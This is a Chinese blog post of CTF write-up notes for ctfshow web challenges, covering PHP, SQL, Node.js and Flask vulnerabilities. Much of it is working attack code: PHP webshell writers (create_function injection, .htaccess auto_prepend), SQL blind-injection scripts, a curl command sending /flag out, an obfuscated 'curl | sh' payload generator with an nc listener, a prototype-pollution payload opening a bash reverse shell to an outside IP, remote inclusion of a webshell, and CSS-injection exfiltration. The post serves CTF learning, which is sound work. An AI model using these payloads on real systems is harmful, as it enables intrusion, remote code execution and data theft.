CTFshow做题笔记
CTFshow做题笔记
Last edited 2022-7-3
type
Post
status
Published
date
May 1, 2022
slug
ctfshow
summary
记录在ctfshow靶场学习Wp
tags
CTF_Wp
category
学习思考
icon
password
URL
Photo

大赛原题

web680

code=phpinfo();先看下disable_function,有一堆过滤。并且open_basedir做了目录限制。
notion image
r然后看下当前目录下的文件
code=var_dump(scandir("."));
发现一个文件
secret_you_never_know

web681

sql注入
notion image
  • 万能密码 username = || 1#
  • \ 转译
登录的时候抓个包,比如我们传name=123会返回sql语句 select count() from ctfshow_users where username = '123' or nickname = '123' 然后试了下单引号,发现会被吞。 那就试下反斜杠, select count() from ctfshow_users where username = '123\' or nickname = '123\' 这样相当于执行 select count() from ctfshow_users where username = 'xxx'123\' 所以先整个万能密码 name=||1# 最终语句为 select count() from ctfshow_users where username = '||1#\' or nickname = '||1#\' 相当于 select count(*) from ctfshow_users where username = 'xxxxx‘||1#\' 然后就出flag了。

web682

web683

绕过sleep()
notion image
(int)字符串 = int字符串第一位
(int)”0X700000” = (int)0

web684

写shell:fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>');
  • create_function()代码注入
notion image
notion image
wp:?action=\create_function&arg=}fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>');//

web685

  • 利用正则最大回溯次数绕过 (100万)
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过正则表达式了。
py脚本:
import requests url = "http://991d6005-8ea0-456b-9ee9-e06d2d4bbae5.challenge.ctf.show/" files = { 'file':'''<?php @eval($_POST['shell']);?>'''+'b'*1000000 } r=requests.post(url,files=files) for i in range(0,10): u = url+'data/{}.php'.format(i) r = requests.get(u) if r.status_code==200: print(i)

web686

  • 无参数RCE
👾
无参数RCE总结
 

Web687

%0a (回车) 绕过 | 过滤
%0d(空格)
notion image

Web688

  • escapeshellarg($a);escapeshellcmd($a); 函数连用会产生漏洞
curl url -F file=@/flag 可以将flag带出来
payload: url=http://ip:port/' -F file=@/flag ‘
 

Web689

  • 考点:ssrf
notion image
无<?php ?>一句话木马
<script language="pHp">@eval($_POST["shell"])</script>
 

Web690

notion image
  • 正则匹配
python在服务器80端口打开:python3 http.server 80. 将shell 写在index.html中
index.html: <?php file_put_contents("shell.php",'<?php @eval($_POST["shell"]);?>'); ?>
payload:?args[]=1%0a&arg[]=mkdir&args[]=shell%0a&args[]=cd&args[]=shell%0a&args[]=wget&args[]=143428347
用不可见字符 %0a分割指令,相当于
./ 1 mkdir shell cd shell wget 143428347(ip的十进制)
然后
tar cvf a shell #将shell文件夹打包成 a文件 php a #执行a文件即可激活shell #访问/shell.php即可

Web691

SQL order by 大小比较盲注
盲注脚本
import requests import string s = ".0123456789:abcdefghijklmnopqrstuvwxyz{|}~" url = "http://10f0f498-dddd-4684-bf7e-7c2a7a36c3ea.challenge.ctf.show/" flag = 'ctfshow{01a12ad8-f0a0-4176-ba80-56061796f5c5' for i in range(1,50): print(i) for j in s: data = { 'username':"\'or 1 union select 1,2,'{}' order by 3#".format(flag+j), 'password':"1" } #print(data['username']) req = requests.post(url,data=data) #print(req.text) if '</code>admin' in req.text: flag = flag+chr(ord(j)-1) print(flag) #print(data['username']) #print(req.text) break
 

Web 692

addslashes()函数:

Web 693

$func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET); include($file);
可以调用某个函数,然后会有个文件包含,但是这个函数的参数是个数组。很容易想到通过extract变量覆盖来改变$file的值。
?function=extract&file=php://filter/convert.base64-encode/resource=function.php
#fuction.php <?php function filters($data){ foreach($data as $key=>$value){ if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){ die('Do not hack me!'); } } } ?>
?function=extract&file=php://filter/convert.base64-encode/resource=admin.php
# admin.php <?php if(empty($_SESSION['name'])){ session_start(); echo 'hello ' + $_SESSION['name']; }else{ die('you must login with admin'); } ?>
尝试下远程文件包含,发现确实可以?function=extract&file=http://www.baidu.com
直接包含自己vps上的一个一句话木马就可以了
//index.txt <?php @eval($_POST['shell']);?> http://42.193.100.225:4446/index.txt GET: ?function=extract&file=http://101.34.94.44/shell.txt POST: 1=system('cat /f*');

Web 694

# source code <?php error_reporting(0); $action=$_GET['action']; $file = substr($_GET['file'],0,3); $ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR'])); $content = $_POST['content']; $path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file; if($action=='ctfshow'){ file_put_contents($path,$content); }else{ highlight_file(__FILE__); } ?>
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));
传参方式:
notion image
DIRECTORY_SEPARATOR 这个是文件路径分隔符 win下是\ linux 下是/ 这个自动识别系统
 
path构造成 ./shell.php
notion image
此时path =/var/www/html/shell1.php/.。成功写入shell1.php

Web695

 
题目: router.post('/uploadfile', async (ctx, next) => { const file = ctx.request.body.files.file; if (!fs.existsSync(file.path)) { return ctx.body = "Error"; } if(file.path.toString().search("/dev/fd") != -1){ file.path="/dev/null" } const reader = fs.createReadStream(file.path); let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex"); let filePath = path.join(__dirname, 'upload/') + fileId const upStream = fs.createWriteStream(filePath); reader.pipe(upStream) return ctx.body = "Upload success ~, your fileId is here:" + fileId; }); router.get('/downloadfile/:fileId', async (ctx, next) => { let fileId = ctx.params.fileId; ctx.attachment(fileId); try { await send(ctx, fileId, { root: __dirname + '/upload' }); }catch(e){ return ctx.body = "no_such_file_~" } });
如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。
 

Web696

 

Web697

进入页面提示我们传入参数NOHO
随便试了几下,会提示太大或太小。
notion image
虽然看不到代码但是可以猜测一下,可能是使用strcmp一类的函数进行比较,大于返回正整数,小于返回负整数,等于返回0。
尝试数组绕过,成功
notion image
 
notion image
出现了乱码,可能是经过某种加密了,如果是最常见的md5加密的话,我们就可以绕过了。有如下几个字符串,在经过md5加密后的十六进制是自带单引号的。
ffifdyop e58 4611686052576742364
既然只能传数字,那我们就选择4611686052576742364
notion image

Web698

 
 
 
 

Web699 (此题环境有问题无法解出来)

# 基础知识 $# - 参数数量 - (计算为 0) ${##} - 计数变量 (#) 长度 - (计算为 1) $((expr)) - 算术表达式 <<< - 这里是字符串 ${!var} - 间接扩展 $'\123' - 将八进制转换为字符串字面量 {a,b} 中的字符 - 花括号扩展 # 由此得出 $((${##}<<${##})) - 1 左移 1,计算结果为 2 ${!#} - 执行 bash(因为第一个参数是 /bin/bash) $((2 #1000001)) - 将二进制转换为十进制。2, 1 和 0 被禁止,将被替换
 
八进制绕过命令执行
import requests # 八进制 n = dict() n[0] = '${#}' n[1] = '${##}' n[2] = '$((${##}<<${##}))' n[3] = '$(($((${##}<<${##}))#${##}${##}))' n[4] = '$((${##}<<$((${##}<<${##}))))' n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))' n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))' n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))' f = '' def str_to_oct(cmd): #命令转换成八进制字符串 s = "" for t in cmd: o = ('%s' % (oct(ord(t))))[2:] s+='\\'+o return s def build(cmd): #八进制字符串转换成字符 payload = "$0<<<$0\<\<\<\$\\\'" #${!#}与$0等效 s = str_to_oct(cmd).split('\\') for _ in s[1:]: payload+="\\\\" for i in _: payload+=n[int(i)] return payload+'\\\'' # def get_flag(url,payload): #盲注函数 # try: # data = {'cmd':payload} # r = requests.post(url,data,timeout=1.5) # except: # return True # return False # 弹shell print(build('curl https://your-shell.com/8.140.138.251:4445 | sh')) #盲注 #a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@' # for i in range(1,50): # for j in a: # cmd=f'cat /flag|grep ^{f+j}&&sleep 3' # url = "http://ip/" # if get_flag(url,build(cmd)): # break # f = f+j # print(f)
nc -lvvnp 4445 payload : $0<<<$0\<\<\<\$\'\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${#}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$((${##}<<$((${##}<<${##}))))\\$((${##}<<$((${##}<<${##}))))${#}\\${##}$(($((${##}<<${##}))#${##}${#}${##}))${#}\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))${#}\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}))$((${##}<<${##}))\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${##}))${##}\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${#}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<${##}))\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${#}${##}))\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))${#}\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${#}${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${#}))\\${##}$((${##}<<$((${##}<<${##}))))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}))${#}\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${#}))\\$(($((${##}<<${##}))#${##}${##}${#}))${##}\\$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${##}${#}))${#}\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${#}))\\$(($((${##}<<${##}))#${##}${##}${#}))${##}\\$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}))${#}\\$(($((${##}<<${##}))#${##}${#}${##}))$(($((${##}<<${##}))#${##}${##}${#}))\\$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<${##}))\\$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${##}${#}))${##}\\$(($((${##}<<${##}))#${##}${##}${##}))$((${##}<<${##}))\\$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${##}${#}))$((${##}<<$((${##}<<${##}))))\\$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${#}${##}))\\$((${##}<<$((${##}<<${##}))))${#}\\${##}$(($((${##}<<${##}))#${##}${##}${##}))$((${##}<<$((${##}<<${##}))))\\$((${##}<<$((${##}<<${##}))))${#}\\${##}$(($((${##}<<${##}))#${##}${##}${#}))$(($((${##}<<${##}))#${##}${##}))\\${##}$(($((${##}<<${##}))#${##}${#}${##}))${#}\'
 

Web700

考点

  • CSS注入
利用场景:能HTML注入,不能XSS(或者被dompurity时),可造成窃取CSRF Token的目的。

题解

通过CSS选择器匹配到CSRF token,接着使用可以发送数据包的属性将数据带出,例如:
input[name=csrf][value^=ca]{ background-image: url(https://xxx.com/ca); }
过程中有几个问题:一般CSRF Token的type都为hidden,会有不加载background-image属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)
解决该问题的办法是使用~兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的background-image,达到将数据带出的目的。
赛题源码:
<html> <link rel="stylesheet" href="${encodeURI(req.query.css)}" /> <form> <input name="Email" type="text" value="test"> <input name="flag" type="hidden" value="b02cb962ac59075b964b07152d234b70"/> <input type="submit" value="提交"> </form> </html>
poc: 通过注入CSS,动态猜解每一个flag字符,同时在服务端监听:
input[name=flag][value^="b"] ~ * { background-image: url("http://x.x.x.x/b"); }
notion image
通过上述手段只能CSRF Token的部分数据,那我们该如何获得全部数据呢?poc:https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e通过不断创建iframe,动态猜解每一位csrf token
当然这需要目标站点x-frame-options未被禁用,当然本题并未限制此方法
那iframe被禁用了,还有办法注入吗?参考这篇文章所述:https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b
提供了一个工具,使得可以通过import CSS来获得token:https://github.com/d0nutptr/sic
安装好环境, 起一个窃取CSS模板文件:template
input[name=flag][value^="{{:token:}}"] ~ * { background-image: url("{{:callback:}}"); }
运行服务:
./sic -p 3000 --ph "http://127.0.0.1:3000" --ch "http://127.0.0.1:3001" -t template
attack:
http://127.0.0.1:60000/flag.html?css=http://127.0.0.1:3000/staging?len=32
notion image
 
自动化测试脚本
# encoding = utf-8 import string from selenium import webdriver import time driver = webdriver.Chrome() url = 'http://0a3c0db1-e8aa-431a-9b9d-fe34f210f826.challenge.ctf.show' flag = '' s = string.digits+string.ascii_letters+'{'+'}'+'_' for i in s: flag += i string = 'input[name="flag"][value^="%s"] { background:url(http://8.140.138.251:4445/%s);}'%(flag, flag) data = {"css": string} driver.get(url) css = driver.find_element_by_name('css') css.send_keys(string) driver.find_element_by_xpath("//input[@type='submit']").click() flag= ''
 

Web701

参考文章https://gist.github.com/stypr/9219055eaaf39bc1c3cdd694755d9295
It is run on context, so we have nothing but to play with constructorand console.
1337 === eval(out_input)
我们需要构造出如下payload
1337 === int(str(int(1)).concat(3).concat(3).concat(7))
构造前提:
constructor.length.constructor = Integer object constructor.name.constructor = String object constructor.constructor.length = 1 console.dir.name.length => "dir".length = 3 console.context.name.length => "context".length = 7
payload:
constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))

Web703

题目源码:
伪造一个admin用户,然后访问?page=flag得到flag。
重点页面在export.php中
if ($type === 'tar') { $archive = new PharData($path); $archive->startBuffering(); } else { // use zip as default $archive = new ZipArchive(); $archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE); } for ($index = 0; $index < count($notes); $index++) { $note = $notes[$index]; $title = $note['title']; $title = preg_replace('/[^!-~]/', '-', $title); $title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters $archive->addFromString("{$index}_{$title}.json", json_encode($note)); }
我们可以创建一个文件,并向里面添加一些字符。更加巧的是,session文件的保存路径和我们生成的文件的路径是一样的,那么我们可以构造一个session文件,从而修改里面admin的值
<?php error_reporting(0); require_once('config.php'); require_once('lib.php'); session_save_path(TEMP_DIR); session_start();
但是有个问题,session文件一般是sess_PHPSESSID,里面不允许有点号,而文件名生成的时候会带着点号。
notion image
type 可控,所以只需要给type传个.就可以了
解题思路:
  1. sess_用户名登录
  1. Add note |N;admin|b:1; 要写内容,不然无法发出去
  1. 访问export.php?type=.来生成session文件
  1. 修改cookie为文件名123213_后面的字符串这里是-58f256cbb90a5bef
  1. Get flag
 

Web704

json串中可以使用unicode编码绕过
payload:
?source=1 {"page":"\u0070hp://filter/read=convert.base64-encode/resource=/\u0066lag"}
notion image
 
 

Web707

notion image
base64解密下cookie,然后修改cookie中的money,改成100。
直接buy就出flag了。。。
 
 

Web710

hackbar 一把梭
notion image
payload:?name={{url_for.globals.builtins'import'.popen('cat flag.txt').read()}}
 

Web712

题目
## 题目: <?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) !== 0) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nJust one chance"); ?>
这题主要考察.htaccess文件的利用
大体步骤是这样的:
删除index.php外的所有文件→写文件→删除 除index.php外的所有文件
虽然对内容进行了过滤,但是我们是可以通过换行绕过的
比如下面的内容起到的作用是相同的
php_value auto_append_file "/etc/passwd" ### php_value auto_append_fil\ e "/etc/passwd"
但是我们没有什么可包含的shell文件,能利用的一个index.php一个自己上传的.htaccess文件。而index.php其实也没啥用 所以目光只能用.htaccess文件了。 可以将利用的shellcode写入.htaccess文件中,为了不影响该文件的功能,需要用#号注释掉。然后包含自身
php_value auto_append_fil\ e ".htaccess" #<?php eval($_POST[1]);?>
但是最后还会给我们再填上一串\nJust one chance,所以再来个\就可以了。
php_value auto_prepend_fil\ e ".htaccess" #<?php eval($_POST[1]);?>\
url编码一下 payload:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20%22.htaccess%22%0A%23%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%3F%3E%5C
接着访问/index.php就可以使用一句话木马了。
注意,这个是一次性的,所以不要先get再post,需要直接post传值。当然还有一些方法可以参考文章

Web 714

原理分析:
XNUCA2019 Hardjs题解 从原型链污染到RCE - 先知社区
这次XNUCA2019的WEB题四道只有两道被解出,其中这道Hardjs是做出人数较少的一道,还是比较有意思的,所以在此分享一下解题思路。 题目直接给了源码,所以可以进行一下审计。打开源码目录,最显眼的就是 server.js和 robot.js 。 先分析 server.js 。 可以发现这个服务器是nodejs,并且用了express这个框架,模板渲染引擎则用了ejs。 审计一下代码可以看到有以下的路由: 除了/static,/login和/register以外,所以路由在访问的时候都会经过一个 auth 函数进行身份验证 因为做了转义处理,所以应该是没有Sql注入的问题,需要从其他方面下手。 另外在初始化的时候有这么一句 所以我们可以通过json格式传递参数到服务端 在/get 中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起,关键代码如下 其中的 lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));恰好是前段时间公布的 CVE-2019-10744 的攻击对象,再看一下版本刚好是4.17.11,并没有修复这个漏洞。所以我们可以利用这个漏洞进行原型链污染。 0x02.1 原型链污染 这里简单介绍一下原型链污染(prototype pollution) Javascript里每个类都有一个 prototype的属性,用来绑定所有对象都会有变量与函数,对象的构造函数又指向类本身,同时对象的__proto__属性也指向类的 prototype 。因此,有以下关系: 并且,类的继承是通过原型链传递的,一个类的 prototype属性指向其继承的类的一个对象。所以一个类的 prototype.__proto__等于其父类的 prototype,当然也等于该类对象的__proto__.__proto__ 属性。 我们获取某个对象的某个成员时,如果找不到,就会通过原型链一步步往上找,直到某个父类的原型为 null为止。所以修改对象的某个父类的 prototype 的原型就可以通过原型链影响到跟此类有关的所有对象。 当然,如果某个对象本身就拥有该成员,就不会往上找,所以利用这个漏洞的时候,我们需要做到的是找到某个成员被判断是否存在并使用的代码。 0x02.2 发现利用点 在 server.js中,有一处很符合我们要寻找的利用点,即 auth 函数中判断用户的部分 在我们没有登陆以前, req.seesion.login和 req.session.userid 是undefined的,而session对象的父类肯定包含了Object,所以我们只要修改Object中的这部分代码就可以绕过登陆,以admin身份访问网页。 知道了上述的利用点以后,回去审计 robot.py可以发现,flag值是存在环境变量中的,并且是admin的密码,robot会打开本地页面的首页/(原先是会自动跳转到/login ,当然我们现在可以bypass掉这个跳转),然后robot会根据form的name填写用户名和密码,并点击submit按钮。 因为首页会自动加载我们保存的html数据,所以这个时候我的思路是可以构造一个form,但是提交地址是自己的服务器,这样就可以接受到来自bot的flag了。 再加上 robot.py 中的以下细节,我认为从前端下手应该是出题人预留的预期解之一。`` 所以审计前端的 app.js 发现所有我们保存在数据库的数据是动态加载到一个有 sanbox 标签的iframe中,这就导致即使我们可以写一个表单,也无法被提交,我们的数据中的js是不会被执行的。 不过恰巧的是 app.js 使用的Jquery前段时间也有一个原型链污染漏洞被曝出,而且在页面中也使用到了 具体的CVE号是 CVE-2019-11358 ,利用方法类似上文的漏洞。 如果找到利用链应该是可以成功攻击的,不过遗憾的是本人水平有限,没能在比赛的时候找到攻击方法。 投稿的时候发现官方WP出了,并且给出了这种解法的攻击payload,供大家参考 因为前端攻击失败,就希望通过后端找到可利用的点。 审计 server.js的时候可以看到,返回页面是通过 res.render(xxx) 渲染的,所以尝试从这里下手,跟进模板渲染寻找符合我们上述条件的利用点。 因为代码较多,所以以下分析省略部分无关代码。 可以发现来到了 response.js的中对 res.render的定义,并且调用了 app.render,同时,将进行了参数配置传递。继续跟进,来到 application.js 发现调用了 tryRender ...
XNUCA2019 Hardjs题解 从原型链污染到RCE - 先知社区
官方wp:
原型链污染
漏洞点是下面这个地方,需要add超过五条
notion image
 
payload:
{ "constructor": { "prototype": { "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.140.138.251/4445 0>&1\"');var __tmp2" } } }
 
 
 
 

Web717

js 不是很懂找的大佬的payload
payload:/"+/'*/i/+target.exploit//
notion image
 
 

Web720

<?php error_reporting(0); include "flag.php"; if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>'; } else{ highlight_file(__FILE__); }
非常简单的数组绕过哈希
payload: ?name[]=2&password[]=1

Web724

notion image
源码 <!-- CTFSHOW hint: eval('$code="'.addslashes($value).'";'); -->
payload:${system(base64_decode(Y2F0IGYq))}

常用姿势

web801

flask算pin码

flask /console 进入调试模式
notion image
PIN生成要素:
notion image
脚本:
#sha1 import hashlib from itertools import chain probably_public_bits = [ 'root'# /etc/passwd 'flask.app',# 默认值 'Flask',# 默认值 '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到 ] private_bits = [ '2485377567932',# /sys/class/net/eth0/address 16进制转10进制 #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup 'b0253079-fb4b-4235-ad30-f3d64b6c5967bb28418c4326f48eec42c9d5e07f276bfc46aafe20c7b9043057131f6a87d2dd'# /proc/self/cgroup ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
notion image

web802

PHP无字母数字代码执行

payload:
notion image
 
  • CTF_Wp
  • PPSUC_CTF_wpUbuntu 安装 Docker Engine 脚本